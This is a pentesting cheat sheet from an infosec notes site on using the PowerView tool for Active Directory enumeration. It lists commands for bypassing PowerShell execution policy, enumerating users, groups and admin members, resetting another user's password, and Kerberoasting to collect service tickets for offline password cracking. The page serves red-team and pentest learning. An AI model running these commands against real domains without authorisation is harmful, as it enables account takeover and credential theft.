> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/privesc-tools/powerview.md).

# PowerView

**PowerView** is a powerful PowerShell tool, part of **PowerSploit**, used for **Active Directory enumeration**. It helps red teamers and pentesters gather valuable information about users, groups, computers, trusts, sessions, ACLs, and more.

***

### Execution Steps

#### **Bypass Execution Policy**

```powershell
powershell.exe -nop -exec bypass
```

#### **Import the PowerView Module**

```powershell
Import-Module .\PowerView.ps1
```

Make sure PowerView\.ps1 is in your current working directory or provide the full path.

***

### Basic Enumeration

#### Get Domain Info

```powershell
Get-Domain
```

Displays current domain details like domain name, SID, etc.

***

### User Enumeration

```powershell
Get-DomainUser
```

#### Extract Specific Attributes:

```powershell
Get-DomainUser | select name > username-list.txt
```

```
Get-DomainUser | select cn > user-name-list.txt
```

```
Get-DomainUser | select userprincipalname > userprincipalname.txt
```

```
Get-DomainUser | select serviceprincipalname > spn-name.txt
```

***

### Group Enumeration

```powershell
Get-DomainGroup
```

#### Extract Group Names:

```powershell
Get-DomainGroup | select cn
```

```
Get-DomainGroup | select samaccountname > groups-names.txt
```

#### Get Members of a Specific Group:

```powershell
Get-DomainGroupMember "IT Admins"
```

***

### Admin Group Discovery

#### Find Admin Groups and Members (Recursive):

```powershell
Get-DomainGroup -AdminCount
```

```powershell
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse
```

#### Find Machine Accounts in Privileged Groups:

```powershell
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ? { $_.MemberName -like '*$' }
```

***

### Password Modification (If Permissions Allow)

```powershell
Set-DomainUserPassword "roxana.marleah"
```

Use cautiously. Only works if the current user has sufficient rights to change another user’s password.

***

### Kerberos Attacks with PowerView

#### Kerberoasting

```powershell
Invoke-Kerberoast
```

This will find all user accounts with **Service Principal Names (SPNs)** and request TGS tickets for them. These tickets can then be **brute-forced offline** to extract plaintext credentials.